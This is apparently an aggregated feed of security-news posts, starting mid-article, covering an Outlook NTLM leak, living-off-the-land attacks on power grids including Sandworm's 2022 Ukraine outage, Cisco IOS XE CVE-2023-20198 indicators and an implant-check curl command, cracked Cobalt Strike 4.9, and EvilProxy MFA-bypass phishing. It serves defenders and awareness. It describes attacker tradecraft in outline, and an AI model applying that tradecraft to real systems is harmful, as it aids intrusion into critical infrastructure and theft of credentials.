Microsoft has acknowledged the Outlook exploit as an important CVE-2023-35636 and released a patch on December 12, 2023. The vulnerabilities for WPA and Windows File Explorer were closed due to “moderate severity.”

Protecting Against NTLM v2 Attacks

To safeguard against these vulnerabilities, it is recommended to:

• Enable SMB signing.
• Block outgoing NTLM v2, especially on Windows 11 (25951) and later.
• Prefer Kerberos authentication and block NTLM v2 at network and application levels.

Unpatched systems remain at risk, and it’s crucial to update and apply security measures to prevent potential exploits.

The post How to steal Windows password via Outlook email exploiting vulnerabilities in Windows Performance Analyzer (WPA) and File Explorer appeared first on Information Security Newspaper | Hacking News.

1. Initial Access

• Example: A phishing email is sent to an employee in the OT/ICS environment. The email contains a seemingly harmless document that, when opened, executes a PowerShell script (a native Windows tool) to create a backdoor.

2. Lateral Movement

• Example: Once inside the network, attackers might use legitimate system administration tools like Windows Management Instrumentation (WMI) or Remote Desktop Protocol (RDP) to move laterally across the network, searching for critical OT/ICS components.

3. Elevation of Privileges

• Example: Attackers might use built-in tools like Netstat to identify security software or firewall settings and then use other native scripts or commands to disable these defenses, or to elevate their access privileges within the system.

4. Discovery and Information Gathering

• Example: Tools like Tasklist or Systeminfo (native to Windows) are used to gather information about the system, such as running processes, installed software, or network configurations relevant to the OT/ICS environment.

5. Exploitation and Manipulation

• Example: In an ICS environment, attackers might use standard industrial communication protocols like Modbus or DNP3 (which are legitimate and essential for normal operations) to send malicious commands to control systems, potentially disrupting physical processes like power generation or water treatment.

6. Persistence and Exfiltration

• Example: Attackers could use standard data transfer tools like FTP or even Windows BITS (Background Intelligent Transfer Service) to exfiltrate stolen data, or to maintain persistence by regularly updating malware or downloading additional tools.

7. Cleanup

• Example: To erase their tracks, attackers might use native cleanup tools or scripts to delete logs or any evidence of their activities, making detection and forensics much more difficult.

In late 2022, a significant cyber-physical incident occurred in Ukraine, attributed to the Russia-linked threat actor Sandworm. This event targeted Ukrainian critical infrastructure and utilized a multi-event cyber attack strategy, incorporating innovative techniques to impact industrial control systems (ICS) and operational technology (OT). The Sandworm actor employed OT-level living-off-the-land (LotL) techniques, likely causing a substation’s circuit breakers to trip and resulting in an unplanned power outage. This outage coincided with mass missile strikes across Ukraine’s critical infrastructure. Additionally, Sandworm executed a second disruptive event by deploying a new variant of CADDYWIPER malware in the victim’s IT environment.

This attack exemplifies the latest advancements in Russia’s cyber-physical attack capabilities, particularly visible since Russia’s invasion of Ukraine. The techniques used indicate a maturing offensive OT arsenal, capable of identifying novel OT threat vectors, developing new capabilities, and leveraging various types of OT infrastructure for attacks. Utilizing LotL techniques likely reduced the time and resources required for the cyber-physical attack. Although the initial intrusion point remains undetermined, the rapid development of the OT component of this attack suggests the actor’s ability to swiftly create similar capabilities against other OT systems globally.

Sandworm, active since at least 2009, is a versatile threat actor conducting espionage, influence, and attack operations, primarily supporting Russia’s Main Intelligence Directorate (GRU). The group’s primary focus has been Ukraine, where it has orchestrated disruptive and destructive attacks using wiper malware, especially during Russia’s re-invasion in 2022. However, Sandworm’s activities extend globally, underlining the Russian military’s extensive ambitions and interests in various regions. The group’s global threat activity and novel OT capabilities necessitate proactive measures from OT asset owners to mitigate potential risks.

As per mandiant research, the 2022 intrusion began or prior to June 2022, culminating in two disruptive events on October 10 and 12. Sandworm accessed the OT environment via a hypervisor hosting a SCADA management instance for a substation, potentially having SCADA system access for up to three months. On October 10, Sandworm used an optical disc (ISO) image, “a.iso,” to execute a native MicroSCADA binary, likely for malicious control commands to switch off substations. The attackers, got into the operational technology (OT) system through a key piece of software (a hypervisor) that managed the control system (SCADA) of a power substation. This means they had access to the system that controls how the power substation works. For up to three months, they could have been inside this system without being detected. On October 10, they used a special file (an ISO image named “a.iso”) to run a command in the control system that was likely intended to turn off power substations.

This case underscores the evolving nature of cyber threats, particularly in critical infrastructure sectors. The increasing sophistication and rapid development of such attacks highlight the need for enhanced cybersecurity measures, continuous monitoring, and preparedness against novel and complex cyber threats in OT and ICS environments.

In OT/ICS environments, such LotL attacks are particularly concerning because they:

• Are harder to detect due to the use of legitimate tools.
• Can cause significant physical and operational damage.
• May bypass traditional security measures that don’t account for malicious use of native tools.

Defending against such attacks requires a combination of robust cybersecurity practices, including employee training, network segmentation, constant monitoring for anomalous behaviors, and regular updating and patching of all systems.

The post How Living-off-the-land (LotL) technique is used to hack into power grids & cause power outages appeared first on Information Security Newspaper | Hacking News.

The Vulnerability: CVE-2023-20198

A new, critical zero-day vulnerability has emerged, labeled as CVE-2023-20198. This vulnerability, with a maximum severity rating of CVSS 10, predominantly affects devices running the Cisco IOS XE software and is currently without a patch, leaving systems vulnerable to potential exploits. The flaw can be exploited by an unauthenticated attacker to create a user account with the highest privilege level, leading to unauthorized system access.

Exploitation in the Wild
Attackers have already begun exploiting this vulnerability in the wild, utilizing it to deliver malicious implants. Organizations using the affected devices are advised to apply mitigation measures promptly to defend against these exploits.

Affected Devices and Systems
The vulnerability, CVE-2023-20198, affects all Cisco IOS XE devices that have the Web UI feature enabled, especially when exposed to the internet or untrusted networks. To ascertain if a system is vulnerable, administrators should:

1. Utilize the command show running-config | include ip http server|secure|active to check for the presence of ip http server or ip http secure-server commands in the global configuration.
2. Inspect the configuration for ip http active-session-modules none or ip http secure-active-session-modules none to determine if the vulnerability is exploitable over HTTP or HTTPS respectively.

Cisco’s Response
Cisco has acknowledged the vulnerability, confirming its presence in devices running the Cisco IOS XE software. The company provided steps to identify affected systems and noted the following Indicators of Compromise (IoCs):

1. System logs containing messages indicating programmatic configuration by unfamiliar users, such as:

• %SYS-5-CONFIG_P: Configured programmatically by process SEP_webui_wsma_http from console as user on line.
• %SEC_LOGIN-5-WEBLOGIN_SUCCESS: Login Success [user: user] [Source: source_IP_address].

1. System logs containing messages about unknown file installation actions, like:

• %WEBUI-6-INSTALL_OPERATION_INFO: User: username, Install Operation: ADD filename.

1. Presence of an implant, checked by issuing the following command from a workstation with access to the affected system:

• curl -k -X POST "https://systemip/webui/logoutconfirm.html?logon_hash=1", if a hexadecimal string is returned, the implant is present.

Cisco, alongside other cybersecurity firms like Tenable, has provided plugins to identify affected systems. While awaiting a patch, these plugins and the aforementioned checks can assist in identifying and mitigating unauthorized access attempts.

CVE-2023-20198 poses a significant threat to cybersecurity due to its maximum severity rating and the absence of a patch. Organizations using affected Cisco IOS XE devices should remain vigilant and apply necessary mitigation measures to safeguard their systems from potential exploits.

The post Cisco’s Ticking Time Bomb: CVE-2023-20198 with CVSS Score 10 Hits Cisco Devices appeared first on Information Security Newspaper | Hacking News.

Cobalt Strike, a legitimate commercial penetration testing tool, has inadvertently become a favored instrument among cybercriminals for its efficacy in infiltrating network security. Initially released in 2012 by Fortra (formerly known as Help Systems), Cobalt Strike was designed to aid red teams in identifying vulnerabilities within organizational infrastructures. Despite stringent customer screening and licensing for lawful use only, malicious actors have successfully obtained and distributed cracked versions of the software, making it a prevalent tool in cyberattacks involving data theft and ransomware.

Cobalt Strike 4.9 is now available. This release sees an overhaul to Cobalt Strike’s post exploitation capabilities to support user defined reflective loaders (UDRLs), the ability to export Beacon without a reflective loader which adds official support for prepend-style UDRLs, support for callbacks in a number of built-in functions, a new in-Beacon data store and more.  

Cobalt Strike 4.9 Features

The latest release, version 4.9, introduces several significant features and improvements:

• User-Defined Reflective Loaders (UDRLs): This feature enhances post-exploitation capabilities by allowing users to define and use their reflective loaders, providing more flexibility and control over the loading process of the Beacon payload.
• Export Beacon Without a Loader: Users can now export the Beacon payload without a reflective loader, which officially supports prepend-style UDRLs, allowing for more versatile deployment and execution of the Beacon payload in various environments.
• Callback Support: Version 4.9 introduces support for callbacks, enabling users to implement and handle custom callback routines effectively.
• Beacon User Data Structures Improvement: These structures have been improved to prevent crashes and provide more stability during operations. They also allow a Reflective Loader to resolve and pass system call information to Beacon, overriding Beacon’s default system call resolver.
• Host Profile Support for HTTP(S) Listeners: This feature addresses limitations in HTTP(S) processing by introducing a new Malleable C2 profile group named http-host-profiles.
• WinHTTP Support: The update adds support for the WinHTTP library to the Beacon’s HTTP(S) listener.
• Beacon Data Store: This feature allows users to store Buffer Overflow Frameworks (BOFs) and .NET assemblies in a structured manner.

Cracked Versions in the Wild

Google researchers have recently identified 34 different cracked versions of the Cobalt Strike hacking toolkit actively being used in the wild. These cracked versions are exploited by cybercriminals for various malicious activities, emphasizing the tool’s popularity and widespread illicit use in the cybercriminal community. The discovery of cracked version 4.9 of Cobalt Strike highlights the significant challenges and risks associated with the illicit use of this powerful toolkit.

The Crackdown

Microsoft, in collaboration with Fortra and the Health Information Sharing and Analysis Center (Health-ISAC), has initiated a widespread legal crackdown on servers hosting these cracked copies. This concerted effort aims to dismantle the malicious infrastructure and disrupt the operations of threat actors utilizing Cobalt Strike for nefarious purposes.

Why Cobalt Strike?

Cobalt Strike has gained notoriety among cybercriminals for its post-exploitation capabilities. Once the beacons are deployed, these provide persistent remote access to compromised devices, allowing for sensitive data harvesting or the dropping of additional malicious payloads.

The Users

Cobalt Strike’s cracked versions are used by unidentified criminal groups, state-backed threat actors, and hacking groups acting on behalf of foreign governments. These actors have been linked to numerous ransomware attacks impacting various industries, causing significant financial and operational damage.

Remediation Efforts

To counteract the malicious use of Cobalt Strike, various entities have provided resources to assist network defenders in identifying Cobalt Strike components within their networks. These resources include open-sourced YARA rules and a collection of indicators of compromise (IOCs).

The illicit use of Cobalt Strike poses a significant threat to global cybersecurity. The ongoing crackdown led by Microsoft, Fortra, and Health-ISAC represents a crucial step towards mitigating the risks associated with Cobalt Strike, underscoring the importance of collaborative efforts in the fight against cybercrime.

The post Unmasking Cracked Cobalt Strike 4.9: The Cybercriminal’s Tool of Choice appeared first on Information Security Newspaper | Hacking News.

According to a study on the events that was published on Wednesday by the cybersecurity company Proofpoint, the attacks demonstrated both the ubiquity of pre-packaged phishing-as-a-service toolkits as well as the increasing bypassing of multi-factor authentication in order to get access to accounts.

It was discovered that EvilProxy was sending 120,000 phishing emails to more than a hundred different companies in an attempt to obtain Microsoft 365 credentials. In the last five months, Proofpoint has seen a concerning increase in the number of successful compromises of cloud account credentials. The vast majority of the attacks were directed against high-ranking officials. According to the researchers’ estimates, the campaign targeted more than one hundred firms throughout the world, which had a total of one and a half million workers.

There were around 39% C-level executives among the victims, 17% of whom were Chief Financial Officers, and 9% of whom were Presidents and CEOs.

At least 35 percent of all users whose accounts were compromised in the previous year had MFA activated, which the researchers discovered to be a substantial rise in the number of account takeovers that occurred among renters who had MFA protection.

Threat actors operating at a very large scale relied heavily on brand impersonation, evasion strategies, and a multi-step infection chain (threat actors redirected traffic through open genuine redirectors).

Researchers from ReSecurity stumbled into the Phishing-as-a-Service (PhaaS) platform known as EvilProxy in September of 2022. The site was offered on the Dark Web. According to some reports, the alternate moniker is Moloch, which may have some link to a phishing-kit that was built by a number of well-known underground players who previously attacked financial institutions and the e-commerce industry.The bundle may be purchased anonymously on the dark web for a sum of four hundred dollars as of the autumn of last year.

As per experts EvilProxy actors circumvent two-factor authentication by using the Reverse Proxy and Cookie Injection techniques. This allows them to proxy the victim’s session. However, now that these approaches have been effectively productized in EvilProxy, it emphasizes the relevance of the development in attacks against online services and MFA authorization systems. In the past, similar tactics have been observed in the targeted campaigns of APT and cyberespionage organizations.

The post How $400 toolkit EvilProxy was used to send 120k phishing emails to hundreds of companies appeared first on Information Security Newspaper | Hacking News.